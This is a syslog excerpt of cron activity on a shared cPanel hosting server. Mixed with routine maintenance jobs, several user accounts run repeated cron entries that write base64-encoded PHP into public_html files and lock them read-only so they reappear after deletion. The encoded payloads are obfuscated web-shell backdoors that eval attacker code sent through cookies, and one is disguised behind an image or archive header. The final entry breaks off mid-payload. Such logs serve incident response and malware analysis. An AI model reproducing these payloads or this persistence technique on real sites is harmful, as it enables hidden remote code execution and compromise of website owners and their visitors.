Apr 19 05:53:01 medusa CROND[28680]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:53:01 medusa CROND[28682]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:53:01 medusa CROND[28681]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:53:01 medusa CROND[28686]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:54:01 medusa CROND[20802]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:54:01 medusa CROND[20803]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:54:01 medusa CROND[20804]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:54:01 medusa CROND[20805]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:54:01 medusa CROND[20806]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:54:01 medusa CROND[20807]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 05:54:01 medusa CROND[20809]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:54:01 medusa CROND[20810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:54:01 medusa CROND[20811]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:54:01 medusa CROND[20812]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 05:54:01 medusa CROND[20813]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:54:01 medusa CROND[20814]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 05:54:01 medusa CROND[20816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 05:55:01 medusa CROND[12839]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 05:55:01 medusa CROND[12869]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 05:55:01 medusa CROND[12957]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 05:55:01 medusa CROND[12958]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Apr 19 05:55:01 medusa CROND[12960]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 05:55:01 medusa CROND[12962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 05:55:01 medusa CROND[12963]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 05:55:01 medusa CROND[12965]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 05:55:01 medusa CROND[12967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 05:55:01 medusa CROND[12964]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 05:55:01 medusa CROND[12972]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 05:55:01 medusa CROND[12974]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 05:55:01 medusa CROND[12971]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 05:55:01 medusa CROND[12975]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 05:55:01 medusa CROND[12976]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ2